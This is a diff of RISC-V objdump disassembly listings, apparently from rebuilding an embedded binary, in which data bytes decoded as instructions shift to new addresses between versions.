+    1306:	00005273          	csrrwi	tp,ustatus,0
+    130a:	9605                	srai	a2,a2,0x21
+    130c:	00527f03          	0x527f03
+    1310:	0000                	unimp
+    1312:	0004                	0x4
+    1314:	0600                	addi	s0,sp,768
+    1316:	3b7f                	0x3b7f
+    1318:	007e                	c.slli	zero,0x1f
+    131a:	0500                	addi	s0,sp,640
+    131c:	0192                	slli	gp,gp,0x4
+    131e:	2852                	fld	fa6,272(sp)
+    1320:	0000                	unimp
+    1322:	9406                	add	s0,s0,ra
+    1324:	2901                	jal	1734 <__stack_size+0xf34>
+    1326:	0060                	addi	s0,sp,12
     1328:	0500                	addi	s0,sp,640
-    132a:	0192                	slli	gp,gp,0x4
-    132c:	278e                	fld	fa5,192(sp)
+    132a:	03ba01b3          	mul	gp,s4,s11
     132e:	0000                	unimp
-    1330:	9406                	add	s0,s0,ra
-    1332:	1d01                	addi	s10,s10,-32
-    1334:	005f 0500 01b3      	0x1b30500005f
-    133a:	042a                	slli	s0,s0,0xa
+    1330:	bb05                	j	1060 <__stack_size+0x860>
+    1332:	ec01                	bnez	s0,134a <__stack_size+0xb4a>
+    1334:	05000097          	auipc	ra,0x5000
+    1338:	01c0                	addi	s0,sp,196
+    133a:	4404                	lw	s1,8(s0)
     133c:	0000                	unimp
-    133e:	bb05                	j	106e <__stack_size+0x86e>
-    1340:	3d01                	jal	1150 <__stack_size+0x950>
-    1342:	05000097          	auipc	ra,0x5000
-    1346:	01c0                	addi	s0,sp,196
-    1348:	4305                	li	t1,1
-    134a:	0000                	unimp
-    134c:	c505                	beqz	a0,1374 <__stack_size+0xb74>
-    134e:	fd01                	bnez	a0,1266 <__stack_size+0xa66>
-    1350:	0051                	c.nop	20
-    1352:	0000                	unimp
-    1354:	0004                	0x4
-    1356:	0500                	addi	s0,sp,640
-    1358:	330a                	fld	ft6,160(sp)
-    135a:	0076                	c.slli	zero,0x1d
-    135c:	0500                	addi	s0,sp,640
-    135e:	1115                	addi	sp,sp,-27
-    1360:	0050                	addi	a2,sp,4
-    1362:	0500                	addi	s0,sp,640
-    1364:	9019                	srli	s0,s0,0x26
-    1366:	0022                	c.slli	zero,0x8
-    1368:	0500                	addi	s0,sp,640
-    136a:	006f751b          	0x6f751b
-    136e:	0500                	addi	s0,sp,640
-    1370:	0121                	addi	sp,sp,8
-    1372:	05000077          	0x5000077
-    1376:	6325                	lui	t1,0x9
-    1378:	0030                	addi	a2,sp,8
-    137a:	0500                	addi	s0,sp,640
-    137c:	00301c27          	0x301c27
-    1380:	0500                	addi	s0,sp,640
-    1382:	bc2d                	j	dbc <__stack_size+0x5bc>
-    1384:	0034                	addi	a3,sp,8
-    1386:	0500                	addi	s0,sp,640
-    1388:	c631                	beqz	a2,13d4 <__stack_size+0xbd4>
-    138a:	008a                	slli	ra,ra,0x2
-    138c:	0500                	addi	s0,sp,640
-    138e:	008fc133          	xor	sp,t6,s0
-    1392:	0500                	addi	s0,sp,640
-    1394:	4839                	li	a6,14
-    1396:	0500009b          	0x500009b
-    139a:	9b3d                	andi	a4,a4,-17
-    139c:	0036                	c.slli	zero,0xd
-    139e:	0500                	addi	s0,sp,640
-    13a0:	00364d3f 8c440500 	0x8c44050000364d3f
-    13a8:	0004                	0x4
-    13aa:	0500                	addi	s0,sp,640
-    13ac:	7f49                	lui	t5,0xffff2
-    13ae:	05000077          	0x5000077
-    13b2:	774e                	flw	fa4,240(sp)
-    13b4:	0070                	addi	a2,sp,12
-    13b6:	0500                	addi	s0,sp,640
-    13b8:	00473b53          	fadd.s	fs6,fa4,ft4,rup
-    13bc:	0000                	unimp
-    13be:	0004                	0x4
-    13c0:	0500                	addi	s0,sp,640
-    13c2:	3d12                	fld	fs10,288(sp)
-    13c4:	006d                	c.nop	27
-    13c6:	0500                	addi	s0,sp,640
-    13c8:	9a16                	add	s4,s4,t0
-    13ca:	002a                	c.slli	zero,0xa
-    13cc:	0500                	addi	s0,sp,640
-    13ce:	561a                	lw	a2,164(sp)
-    13d0:	0055                	c.nop	21
-    13d2:	0500                	addi	s0,sp,640
-    13d4:	cc1f 0049 0000      	0x49cc1f
-    13da:	0004                	0x4
-    13dc:	0500                	addi	s0,sp,640
-    13de:	d609                	beqz	a2,12e8 <__stack_size+0xae8>
-    13e0:	0030                	addi	a2,sp,8
-    13e2:	0500                	addi	s0,sp,640
-    13e4:	e00a                	fsw	ft2,0(sp)
-    13e6:	0500004f          	0x500004f
-    13ea:	a911                	j	17fe <__stack_size+0xffe>
-    13ec:	05000093          	li	ra,80
-    13f0:	8412                	mv	s0,tp
-    13f2:	0500000b          	0x500000b
-    13f6:	0022f613          	andi	a2,t0,2
-    13fa:	0500                	addi	s0,sp,640
-    13fc:	e314                	fsw	fa3,0(a4)
-    13fe:	002e                	c.slli	zero,0xb
-    1400:	0500                	addi	s0,sp,640
-    1402:	fc18                	fsw	fa4,56(s0)
-    1404:	0095                	addi	ra,ra,5
-    1406:	0500                	addi	s0,sp,640
-    1408:	5f19                	li	t5,-26
-    140a:	0079                	c.nop	30
-    140c:	0500                	addi	s0,sp,640
-    140e:	6a1a                	flw	fs4,132(sp)
-    1410:	0089                	addi	ra,ra,2
-    1412:	0500                	addi	s0,sp,640
-    1414:	7e39                	lui	t3,0xfffee
-    1416:	0080                	addi	s0,sp,64
-    1418:	0500                	addi	s0,sp,640
-    141a:	8c3a                	mv	s8,a4
-    141c:	05000073          	0x5000073
-    1420:	003a1a3b          	0x3a1a3b
-    1424:	0500                	addi	s0,sp,640
-    1426:	f33c                	fsw	fa5,96(a4)
-    1428:	0061                	c.nop	24
-    142a:	0000                	unimp
-    142c:	0004                	0x4
-    142e:	0500                	addi	s0,sp,640
-    1430:	3120                	fld	fs0,96(a0)
-    1432:	0045                	c.nop	17
-    1434:	0500                	addi	s0,sp,640
-    1436:	b626                	fsd	fs1,296(sp)
-    1438:	009e                	slli	ra,ra,0x7
-    143a:	0500                	addi	s0,sp,640
-    143c:	00466a2b          	0x466a2b
-    1440:	0500                	addi	s0,sp,640
-    1442:	8d2c                	0x8d2c
-    1444:	05000017          	auipc	zero,0x5000
-    1448:	6a31                	lui	s4,0xc
-    144a:	0032                	c.slli	zero,0xc
-    144c:	0000                	unimp
-    144e:	0004                	0x4
-    1450:	0500                	addi	s0,sp,640
-    1452:	5029                	c.li	zero,-22
-    1454:	003d                	c.nop	15
-    1456:	0500                	addi	s0,sp,640
-    1458:	9f2e                	add	t5,t5,a1
-    145a:	0096                	slli	ra,ra,0x5
-    145c:	0000                	unimp
-    145e:	0004                	0x4
-    1460:	0500                	addi	s0,sp,640
-    1462:	00179f13          	slli	t5,a5,0x1
-    1466:	0500                	addi	s0,sp,640
-    1468:	004fcd17          	auipc	s10,0x4fc
-    146c:	0500                	addi	s0,sp,640
-    146e:	0b1f 0083 0500      	0x50000830b1f
-    1474:	004b5823          	0x4b5823
-    1478:	0500                	addi	s0,sp,640
-    147a:	5825                	li	a6,-23
-    147c:	0031                	c.nop	12
-    147e:	0500                	addi	s0,sp,640
-    1480:	7c2e                	flw	fs8,232(sp)
-    1482:	05000037          	lui	zero,0x5000
-    1486:	cc30                	sw	a2,88(s0)
-    1488:	05000027          	0x5000027
-    148c:	3131                	jal	1098 <__stack_size+0x898>
-    148e:	0035                	c.nop	13
-    1490:	0500                	addi	s0,sp,640
-    1492:	ca32                	sw	a2,20(sp)
-    1494:	000e                	c.slli	zero,0x3
-    1496:	0500                	addi	s0,sp,640
-    1498:	00633733          	sltu	a4,t1,t1
-    149c:	0000                	unimp
-    149e:	0004                	0x4
-    14a0:	0500                	addi	s0,sp,640
-    14a2:	00080f33          	add	t5,a6,zero
-    14a6:	0500                	addi	s0,sp,640
-    14a8:	5c34                	lw	a3,120(s0)
-    14aa:	0008                	0x8
-    14ac:	0500                	addi	s0,sp,640
-    14ae:	d138                	sw	a4,96(a0)
-    14b0:	0079                	c.nop	30
-    14b2:	0500                	addi	s0,sp,640
-    14b4:	5b3d                	li	s6,-17
-    14b6:	0038                	addi	a4,sp,8
-    14b8:	0500                	addi	s0,sp,640
-    14ba:	b548                	fsd	fa0,168(a0)
-    14bc:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    14c0:	674c                	flw	fa1,12(a4)
-    14c2:	007d                	c.nop	31
-    14c4:	0500                	addi	s0,sp,640
-    14c6:	7550                	flw	fa2,44(a0)
-    14c8:	006d                	c.nop	27
-    14ca:	0500                	addi	s0,sp,640
-    14cc:	f054                	fsw	fa3,36(s0)
-    14ce:	0500007b          	0x500007b
-    14d2:	df56                	sw	s5,188(sp)
-    14d4:	007c                	addi	a5,sp,12
-    14d6:	0500                	addi	s0,sp,640
-    14d8:	f362                	fsw	fs8,164(sp)
-    14da:	0036                	c.slli	zero,0xd
-    14dc:	0500                	addi	s0,sp,640
-    14de:	000bfb67          	0xbfb67
-    14e2:	0500                	addi	s0,sp,640
-    14e4:	246c                	fld	fa1,200(s0)
-    14e6:	0068                	addi	a0,sp,12
-    14e8:	0500                	addi	s0,sp,640
-    14ea:	c26d                	beqz	a2,15cc <__stack_size+0xdcc>
-    14ec:	006d                	c.nop	27
-    14ee:	0500                	addi	s0,sp,640
-    14f0:	6e78                	flw	fa4,92(a2)
-    14f2:	0075                	c.nop	29
-    14f4:	0500                	addi	s0,sp,640
-    14f6:	e47c                	fsw	fa5,76(s0)
-    14f8:	0059                	c.nop	22
-    14fa:	0500                	addi	s0,sp,640
-    14fc:	0182                	c.slli64	gp
-    14fe:	1e58                	addi	a4,sp,820
+    133e:	c505                	beqz	a0,1366 <__stack_size+0xb66>
+    1340:	1f01                	addi	t5,t5,-32
+    1342:	00000053          	fadd.s	ft0,ft0,ft0,rne
+    1346:	0004                	0x4
+    1348:	0500                	addi	s0,sp,640
+    134a:	e00a                	fsw	ft2,0(sp)
+    134c:	0076                	c.slli	zero,0x1d
+    134e:	0500                	addi	s0,sp,640
+    1350:	3915                	jal	f84 <__stack_size+0x784>
+    1352:	0051                	c.nop	20
+    1354:	0500                	addi	s0,sp,640
+    1356:	4119                	li	sp,6
+    1358:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+    135c:	00700e1b          	0x700e1b
+    1360:	0500                	addi	s0,sp,640
+    1362:	a921                	j	177a <__stack_size+0xf7a>
+    1364:	05000077          	0x5000077
+    1368:	5725                	li	a4,-23
+    136a:	0031                	c.nop	12
+    136c:	0500                	addi	s0,sp,640
+    136e:	00311027          	0x311027
+    1372:	0500                	addi	s0,sp,640
+    1374:	8d2d                	xor	a0,a0,a1
+    1376:	0035                	c.nop	13
+    1378:	0500                	addi	s0,sp,640
+    137a:	7931                	lui	s2,0xfffec
+    137c:	0500008b          	0x500008b
+    1380:	00907b33          	and	s6,zero,s1
+    1384:	0500                	addi	s0,sp,640
+    1386:	c539                	beqz	a0,13d4 <__stack_size+0xbd4>
+    1388:	0500009b          	0x500009b
+    138c:	693d                	lui	s2,0xf
+    138e:	05000037          	lui	zero,0x5000
+    1392:	005baf3f 1c440500 	0x1c440500005baf3f
+    139a:	0004                	0x4
+    139c:	0500                	addi	s0,sp,640
+    139e:	2549                	jal	1a20 <__stack_size+0x1220>
+    13a0:	0078                	addi	a4,sp,12
+    13a2:	0500                	addi	s0,sp,640
+    13a4:	f84e                	fsw	fs3,48(sp)
+    13a6:	0070                	addi	a2,sp,12
+    13a8:	0500                	addi	s0,sp,640
+    13aa:	00485853          	fadd.s	fa6,fa6,ft4,unknown
+    13ae:	0000                	unimp
+    13b0:	0004                	0x4
+    13b2:	0500                	addi	s0,sp,640
+    13b4:	db12                	sw	tp,180(sp)
+    13b6:	006d                	c.nop	27
+    13b8:	0500                	addi	s0,sp,640
+    13ba:	6516                	flw	fa0,68(sp)
+    13bc:	0500002b          	0x500002b
+    13c0:	6f1a                	flw	ft10,132(sp)
+    13c2:	0056                	c.slli	zero,0x15
+    13c4:	0500                	addi	s0,sp,640
+    13c6:	0b1f 004b 0000      	0x4b0b1f
+    13cc:	0004                	0x4
+    13ce:	0500                	addi	s0,sp,640
+    13d0:	ca09                	beqz	a2,13e2 <__stack_size+0xbe2>
+    13d2:	0031                	c.nop	12
+    13d4:	0500                	addi	s0,sp,640
+    13d6:	080a                	slli	a6,a6,0x2
+    13d8:	0051                	c.nop	20
+    13da:	0500                	addi	s0,sp,640
+    13dc:	4311                	li	t1,4
+    13de:	0094                	addi	a3,sp,64
+    13e0:	0500                	addi	s0,sp,640
+    13e2:	0c12                	slli	s8,s8,0x4
+    13e4:	0500000b          	0x500000b
+    13e8:	0023a713          	slti	a4,t2,2
+    13ec:	0500                	addi	s0,sp,640
+    13ee:	d714                	sw	a3,40(a4)
+    13f0:	0500002f          	0x500002f
+    13f4:	ab18                	fsd	fa4,16(a4)
+    13f6:	0096                	slli	ra,ra,0x5
+    13f8:	0500                	addi	s0,sp,640
+    13fa:	d819                	beqz	s0,1310 <__stack_size+0xb10>
+    13fc:	0079                	c.nop	30
+    13fe:	0500                	addi	s0,sp,640
+    1400:	0d1a                	slli	s10,s10,0x6
+    1402:	008a                	slli	ra,ra,0x2
+    1404:	0500                	addi	s0,sp,640
+    1406:	0139                	addi	sp,sp,14
+    1408:	0081                	addi	ra,ra,0
+    140a:	0500                	addi	s0,sp,640
+    140c:	273a                	fld	fa4,392(sp)
+    140e:	0074                	addi	a3,sp,12
+    1410:	0500                	addi	s0,sp,640
+    1412:	003b303b          	0x3b303b
+    1416:	0500                	addi	s0,sp,640
+    1418:	d33c                	sw	a5,96(a4)
+    141a:	0062                	c.slli	zero,0x18
+    141c:	0000                	unimp
+    141e:	0004                	0x4
+    1420:	0500                	addi	s0,sp,640
+    1422:	4320                	lw	s0,64(a4)
+    1424:	0046                	c.slli	zero,0x11
+    1426:	0500                	addi	s0,sp,640
+    1428:	1826                	slli	a6,a6,0x29
+    142a:	009f 0500 872b      	0x872b0500009f
+    1430:	05000047          	0x5000047
+    1434:	dc2c                	sw	a1,120(s0)
+    1436:	0016                	c.slli	zero,0x5
+    1438:	0500                	addi	s0,sp,640
+    143a:	6d31                	lui	s10,0xc
+    143c:	00000033          	add	zero,zero,zero
+    1440:	0004                	0x4
+    1442:	0500                	addi	s0,sp,640
+    1444:	5b29                	li	s6,-22
+    1446:	003e                	c.slli	zero,0xf
+    1448:	0500                	addi	s0,sp,640
+    144a:	4e2e                	lw	t3,200(sp)
+    144c:	00000097          	auipc	ra,0x0
+    1450:	0004                	0x4
+    1452:	0500                	addi	s0,sp,640
+    1454:	0016ee13          	ori	t3,a3,1
+    1458:	0500                	addi	s0,sp,640
+    145a:	0050f517          	auipc	a0,0x50f
+    145e:	0500                	addi	s0,sp,640
+    1460:	911f 0083 0500      	0x5000083911f
+    1466:	004c9723          	sh	tp,14(s9)
+    146a:	0500                	addi	s0,sp,640
+    146c:	fb25                	bnez	a4,13dc <__stack_size+0xbdc>
+    146e:	0049                	c.nop	18
+    1470:	0500                	addi	s0,sp,640
+    1472:	4a2e                	lw	s4,200(sp)
+    1474:	0038                	addi	a4,sp,8
+    1476:	0500                	addi	s0,sp,640
+    1478:	9030                	0x9030
+    147a:	0028                	addi	a0,sp,8
+    147c:	0500                	addi	s0,sp,640
+    147e:	0d31                	addi	s10,s10,12
+    1480:	0036                	c.slli	zero,0xd
+    1482:	0500                	addi	s0,sp,640
+    1484:	8232                	mv	tp,a2
+    1486:	000e                	c.slli	zero,0x3
+    1488:	0500                	addi	s0,sp,640
+    148a:	0063f833          	and	a6,t2,t1
+    148e:	0000                	unimp
+    1490:	0004                	0x4
+    1492:	0500                	addi	s0,sp,640
+    1494:	0007c533          	xor	a0,a5,zero
+    1498:	0500                	addi	s0,sp,640
+    149a:	1234                	addi	a3,sp,296
+    149c:	0008                	0x8
+    149e:	0500                	addi	s0,sp,640
+    14a0:	4a38                	lw	a4,80(a2)
+    14a2:	007a                	c.slli	zero,0x1e
+    14a4:	0500                	addi	s0,sp,640
+    14a6:	3e3d                	jal	fe4 <__stack_size+0x7e4>
+    14a8:	0039                	c.nop	14
+    14aa:	0500                	addi	s0,sp,640
+    14ac:	3b48                	fld	fa0,176(a4)
+    14ae:	0084                	addi	s1,sp,64
+    14b0:	0500                	addi	s0,sp,640
+    14b2:	ea4c                	fsw	fa1,20(a2)
+    14b4:	007d                	c.nop	31
+    14b6:	0500                	addi	s0,sp,640
+    14b8:	1350                	addi	a2,sp,420
+    14ba:	006e                	c.slli	zero,0x1b
+    14bc:	0500                	addi	s0,sp,640
+    14be:	6354                	flw	fa3,4(a4)
+    14c0:	007c                	addi	a5,sp,12
+    14c2:	0500                	addi	s0,sp,640
+    14c4:	f956                	fsw	fs5,176(sp)
+    14c6:	05000033          	0x5000033
+    14ca:	c162                	sw	s8,128(sp)
+    14cc:	05000037          	lui	zero,0x5000
+    14d0:	000b8367          	jalr	t1,s7
+    14d4:	0500                	addi	s0,sp,640
+    14d6:	e16c                	fsw	fa1,68(a0)
+    14d8:	0068                	addi	a0,sp,12
+    14da:	0500                	addi	s0,sp,640
+    14dc:	5b6d                	li	s6,-5
+    14de:	006e                	c.slli	zero,0x1b
+    14e0:	0500                	addi	s0,sp,640
+    14e2:	0978                	addi	a4,sp,156
+    14e4:	0076                	c.slli	zero,0x1d
+    14e6:	0500                	addi	s0,sp,640
+    14e8:	007c                	addi	a5,sp,12
+    14ea:	0500005b          	0x500005b
+    14ee:	0182                	c.slli64	gp
+    14f0:	1e8e                	slli	t4,t4,0x23
+    14f2:	0000                	unimp
+    14f4:	8705                	srai	a4,a4,0x1
+    14f6:	8201                	c.srli64	a2
+    14f8:	0500001b          	0x500001b
+    14fc:	018c                	addi	a1,sp,192
+    14fe:	1159                	addi	sp,sp,-10
     1500:	0000                	unimp
-    1502:	8705                	srai	a4,a4,0x1
-    1504:	4901                	li	s2,0
-    1506:	001c                	0x1c
+    1502:	9e05                	0x9e05
+    1504:	9a01                	andi	a2,a2,-32
+    1506:	0084                	addi	s1,sp,64
     1508:	0500                	addi	s0,sp,640
-    150a:	018c                	addi	a1,sp,192
-    150c:	11c5                	addi	gp,gp,-15
-    150e:	0000                	unimp
-    1510:	9e05                	0x9e05
-    1512:	1401                	addi	s0,s0,-32
-    1514:	0084                	addi	s1,sp,64
+    150a:	01a2                	slli	gp,gp,0x8
+    150c:	00003efb          	0x3efb
+    1510:	a605                	j	1830 <__stack_size+0x1030>
+    1512:	d301                	beqz	a4,1412 <__stack_size+0xc12>
+    1514:	0082                	c.slli64	ra
     1516:	0500                	addi	s0,sp,640
-    1518:	01a2                	slli	gp,gp,0x8
-    151a:	3df0                	fld	fa2,248(a1)
+    1518:	01aa                	slli	gp,gp,0xa
+    151a:	722e                	flw	ft4,232(sp)
     151c:	0000                	unimp
-    151e:	a605                	j	183e <__stack_size+0x103e>
-    1520:	5001                	c.li	zero,-32
-    1522:	0082                	c.slli64	ra
+    151e:	af05                	j	1c4e <__stack_size+0x144e>
+    1520:	2901                	jal	1930 <__stack_size+0x1130>
+    1522:	0058                	addi	a4,sp,4
     1524:	0500                	addi	s0,sp,640
-    1526:	01aa                	slli	gp,gp,0xa
-    1528:	71ad                	lui	gp,0xfffeb
+    1526:	01b4                	addi	a3,sp,200
+    1528:	39f2                	fld	fs3,312(sp)
     152a:	0000                	unimp
-    152c:	af05                	j	1c5c <__stack_size+0x145c>
-    152e:	ec01                	bnez	s0,1546 <__stack_size+0xd46>
-    1530:	0056                	c.slli	zero,0x15
+    152c:	b905                	j	115c <__stack_size+0x95c>
+    152e:	4401                	li	s0,0
+    1530:	0031                	c.nop	12
     1532:	0500                	addi	s0,sp,640
-    1534:	01b4                	addi	a3,sp,200
-    1536:	38ff                	0x38ff
+    1534:	01be                	slli	gp,gp,0xf
+    1536:	67c2                	flw	fa5,16(sp)
     1538:	0000                	unimp
-    153a:	b905                	j	116a <__stack_size+0x96a>
-    153c:	5001                	c.li	zero,-32
-    153e:	0030                	addi	a2,sp,8
+    153a:	c305                	beqz	a4,155a <__stack_size+0xd5a>
+    153c:	d801                	beqz	s0,144c <__stack_size+0xc4c>
+    153e:	0032                	c.slli	zero,0xc
     1540:	0500                	addi	s0,sp,640
-    1542:	01be                	slli	gp,gp,0xf
-    1544:	6752                	flw	fa4,20(sp)
+    1542:	01c8                	addi	a0,sp,196
+    1544:	9e3d                	0x9e3d
     1546:	0000                	unimp
-    1548:	c305                	beqz	a4,1568 <__stack_size+0xd68>
-    154a:	cd01                	beqz	a0,1562 <__stack_size+0xd62>
-    154c:	0031                	c.nop	12
+    1548:	c905                	beqz	a0,1578 <__stack_size+0xd78>
+    154a:	7801                	lui	a6,0xfffe0
+    154c:	004c                	addi	a1,sp,4
     154e:	0500                	addi	s0,sp,640
-    1550:	01c8                	addi	a0,sp,196
-    1552:	9de8                	0x9de8
+    1550:	01ce                	slli	gp,gp,0x13
+    1552:	8a80                	0x8a80
     1554:	0000                	unimp
-    1556:	c905                	beqz	a0,1586 <__stack_size+0xd86>
-    1558:	3101                	jal	1158 <__stack_size+0x958>
-    155a:	0500004b          	0x500004b
-    155e:	01ce                	slli	gp,gp,0x13
-    1560:	89dd                	andi	a1,a1,23
-    1562:	0000                	unimp
-    1564:	cf05                	beqz	a4,159c <__stack_size+0xd9c>
-    1566:	c501                	beqz	a0,156e <__stack_size+0xd6e>
-    1568:	0070                	addi	a2,sp,12
-    156a:	0500                	addi	s0,sp,640
-    156c:	01d4                	addi	a3,sp,196
-    156e:	0a81                	addi	s5,s5,0
-    1570:	0000                	unimp
-    1572:	0400                	addi	s0,sp,512
-    1574:	0000                	unimp
-    1576:	1605                	addi	a2,a2,-31
-    1578:	65ad                	lui	a1,0xb
-    157a:	0000                	unimp
-    157c:	2305                	jal	1a9c <__stack_size+0x129c>
-    157e:	00004543          	fmadd.s	fa0,ft0,ft0,ft0,rmm
-    1582:	2605                	jal	18a2 <__stack_size+0x10a2>
-    1584:	8fa9                	xor	a5,a5,a0
-    1586:	0000                	unimp
-    1588:	2705                	jal	1ca8 <__stack_size+0x14a8>
-    158a:	1a12                	slli	s4,s4,0x24
-    158c:	0000                	unimp
-    158e:	0400                	addi	s0,sp,512
-    1590:	0000                	unimp
-    1592:	2405                	jal	17b2 <__stack_size+0xfb2>
-    1594:	1129                	addi	sp,sp,-22
-    1596:	0000                	unimp
-    1598:	2505                	jal	1bb8 <__stack_size+0x13b8>
-    159a:	4a44                	lw	s1,20(a2)
-    159c:	0000                	unimp
-    159e:	2805                	jal	15ce <__stack_size+0xdce>
-    15a0:	1020                	addi	s0,sp,40
-    15a2:	0000                	unimp
-    15a4:	2b05                	jal	1ad4 <__stack_size+0x12d4>
-    15a6:	7266                	flw	ft4,120(sp)
-    15a8:	0000                	unimp
-    15aa:	2e05                	jal	18da <__stack_size+0x10da>
-    15ac:	4a2a                	lw	s4,136(sp)
-    15ae:	0000                	unimp
-    15b0:	2f05                	jal	1ce0 <__stack_size+0x14e0>
-    15b2:	85d5                	srai	a1,a1,0x15
+    1556:	cf05                	beqz	a4,158e <__stack_size+0xd8e>
+    1558:	4601                	li	a2,0
+    155a:	0071                	c.nop	28
+    155c:	0500                	addi	s0,sp,640
+    155e:	01d4                	addi	a3,sp,196
+    1560:	00000a17          	auipc	s4,0x0
+    1564:	0400                	addi	s0,sp,512
+    1566:	0000                	unimp
+    1568:	1605                	addi	a2,a2,-31
+    156a:	0000663b          	0x663b
+    156e:	2305                	jal	1a8e <__stack_size+0x128e>
+    1570:	4655                	li	a2,21
+    1572:	0000                	unimp
+    1574:	2605                	jal	1894 <__stack_size+0x1094>
+    1576:	00009063          	bnez	ra,1576 <__stack_size+0xd76>
+    157a:	2705                	jal	1c9a <__stack_size+0x149a>
+    157c:	1961                	addi	s2,s2,-8
+    157e:	0000                	unimp
+    1580:	0400                	addi	s0,sp,512
+    1582:	0000                	unimp
+    1584:	2405                	jal	17a4 <__stack_size+0xfa4>
+    1586:	10bd                	addi	ra,ra,-17
+    1588:	0000                	unimp
+    158a:	2505                	jal	1baa <__stack_size+0x13aa>
+    158c:	4b7d                	li	s6,31
+    158e:	0000                	unimp
+    1590:	2805                	jal	15c0 <__stack_size+0xdc0>
+    1592:	0fd5                	addi	t6,t6,21
+    1594:	0000                	unimp
+    1596:	2b05                	jal	1ac6 <__stack_size+0x12c6>
+    1598:	7301                	lui	t1,0xfffe0
+    159a:	0000                	unimp
+    159c:	2e05                	jal	18cc <__stack_size+0x10cc>
+    159e:	00004b63          	bltz	zero,15b4 <__stack_size+0xdb4>
+    15a2:	2f05                	jal	1cd2 <__stack_size+0x14d2>
+    15a4:	8651                	srai	a2,a2,0x14
+    15a6:	0000                	unimp
+    15a8:	ac05                	j	17d8 <__stack_size+0xfd8>
+    15aa:	c601                	beqz	a2,15b2 <__stack_size+0xdb2>
+    15ac:	0009                	c.nop	2
+    15ae:	0500                	addi	s0,sp,640
+    15b0:	01b2                	slli	gp,gp,0xc
+    15b2:	2f3a                	fld	ft10,392(sp)
     15b4:	0000                	unimp
-    15b6:	ac05                	j	17e6 <__stack_size+0xfe6>
-    15b8:	3001                	jal	db8 <__stack_size+0x5b8>
-    15ba:	000a                	c.slli	zero,0x2
-    15bc:	0500                	addi	s0,sp,640
-    15be:	01b2                	slli	gp,gp,0xc
-    15c0:	2e46                	fld	ft8,80(sp)
-    15c2:	0000                	unimp
-    15c4:	c505                	beqz	a0,15ec <__stack_size+0xdec>
-    15c6:	0c01                	addi	s8,s8,0
-    15c8:	0091                	addi	ra,ra,4
-    15ca:	0000                	unimp
-    15cc:	0004                	0x4
-    15ce:	0500                	addi	s0,sp,640
-    15d0:	5811                	li	a6,-28
-    15d2:	05000047          	0x5000047
-    15d6:	4815                	li	a6,5
-    15d8:	0065                	c.nop	25
-    15da:	0000                	unimp
-    15dc:	0004                	0x4
-    15de:	0500                	addi	s0,sp,640
-    15e0:	3f02                	fld	ft10,32(sp)
-    15e2:	05000013          	li	zero,80
-    15e6:	880e                	mv	a6,gp
-    15e8:	003a                	c.slli	zero,0xe
-    15ea:	0500                	addi	s0,sp,640
-    15ec:	0015870f          	0x15870f
-    15f0:	0500                	addi	s0,sp,640
-    15f2:	7710                	flw	fa2,40(a4)
-    15f4:	0500006b          	0x500006b
-    15f8:	8611                	srai	a2,a2,0x4
-    15fa:	0034                	addi	a3,sp,8
-    15fc:	0500                	addi	s0,sp,640
-    15fe:	bb12                	fsd	ft4,432(sp)
-    1600:	005d                	c.nop	23
-    1602:	0500                	addi	s0,sp,640
-    1604:	001b5913          	srli	s2,s6,0x1
-    1608:	0500                	addi	s0,sp,640
-    160a:	8c14                	0x8c14
-    160c:	0012                	c.slli	zero,0x4
-    160e:	0500                	addi	s0,sp,640
-    1610:	8b15                	andi	a4,a4,5
-    1612:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    1616:	7216                	flw	ft4,100(sp)
-    1618:	05000053          	0x5000053
-    161c:	001af417          	auipc	s0,0x1af
-    1620:	0500                	addi	s0,sp,640
-    1622:	3918                	fld	fa4,48(a0)
-    1624:	0026                	c.slli	zero,0x9
-    1626:	0500                	addi	s0,sp,640
-    1628:	6e19                	lui	t3,0x6
-    162a:	0029                	c.nop	10
-    162c:	0000                	unimp
-    162e:	0004                	0x4
-    1630:	0500                	addi	s0,sp,640
-    1632:	444d                	li	s0,19
-    1634:	0018                	0x18
-    1636:	0500                	addi	s0,sp,640
-    1638:	4669                	li	a2,26
-    163a:	0074                	addi	a3,sp,12
-    163c:	0500                	addi	s0,sp,640
-    163e:	0082a36f          	jal	t1,2b646 <__stack_size+0x2ae46>
-    1642:	0500                	addi	s0,sp,640
-    1644:	873401b7          	lui	gp,0x87340
+    15b6:	c505                	beqz	a0,15de <__stack_size+0xdde>
+    15b8:	c101                	beqz	a0,15b8 <__stack_size+0xdb8>
+    15ba:	0091                	addi	ra,ra,4
+    15bc:	0000                	unimp
+    15be:	0004                	0x4
+    15c0:	0500                	addi	s0,sp,640
+    15c2:	6d11                	lui	s10,0x4
+    15c4:	0048                	addi	a0,sp,4
+    15c6:	0500                	addi	s0,sp,640
+    15c8:	df15                	beqz	a4,1504 <__stack_size+0xd04>
+    15ca:	0065                	c.nop	25
+    15cc:	0000                	unimp
+    15ce:	0004                	0x4
+    15d0:	0500                	addi	s0,sp,640
+    15d2:	b102                	fsd	ft0,160(sp)
+    15d4:	0012                	c.slli	zero,0x4
+    15d6:	0500                	addi	s0,sp,640
+    15d8:	9e0e                	add	t3,t3,gp
+    15da:	0500003b          	0x500003b
+    15de:	0014e70f          	0x14e70f
+    15e2:	0500                	addi	s0,sp,640
+    15e4:	1910                	addi	a2,sp,176
+    15e6:	006c                	addi	a1,sp,12
+    15e8:	0500                	addi	s0,sp,640
+    15ea:	6611                	lui	a2,0x4
+    15ec:	0035                	c.nop	13
+    15ee:	0500                	addi	s0,sp,640
+    15f0:	c712                	sw	tp,140(sp)
+    15f2:	005e                	c.slli	zero,0x17
+    15f4:	0500                	addi	s0,sp,640
+    15f6:	001a9213          	slli	tp,s5,0x1
+    15fa:	0500                	addi	s0,sp,640
+    15fc:	fe14                	fsw	fa3,56(a2)
+    15fe:	0011                	c.nop	4
+    1600:	0500                	addi	s0,sp,640
+    1602:	1115                	addi	sp,sp,-27
+    1604:	0084                	addi	s1,sp,64
+    1606:	0500                	addi	s0,sp,640
+    1608:	c916                	sw	t0,144(sp)
+    160a:	0054                	addi	a3,sp,4
+    160c:	0500                	addi	s0,sp,640
+    160e:	001a2a17          	auipc	s4,0x1a2
+    1612:	0500                	addi	s0,sp,640
+    1614:	fd18                	fsw	fa4,56(a0)
+    1616:	0026                	c.slli	zero,0x9
+    1618:	0500                	addi	s0,sp,640
+    161a:	3a19                	jal	f30 <__stack_size+0x730>
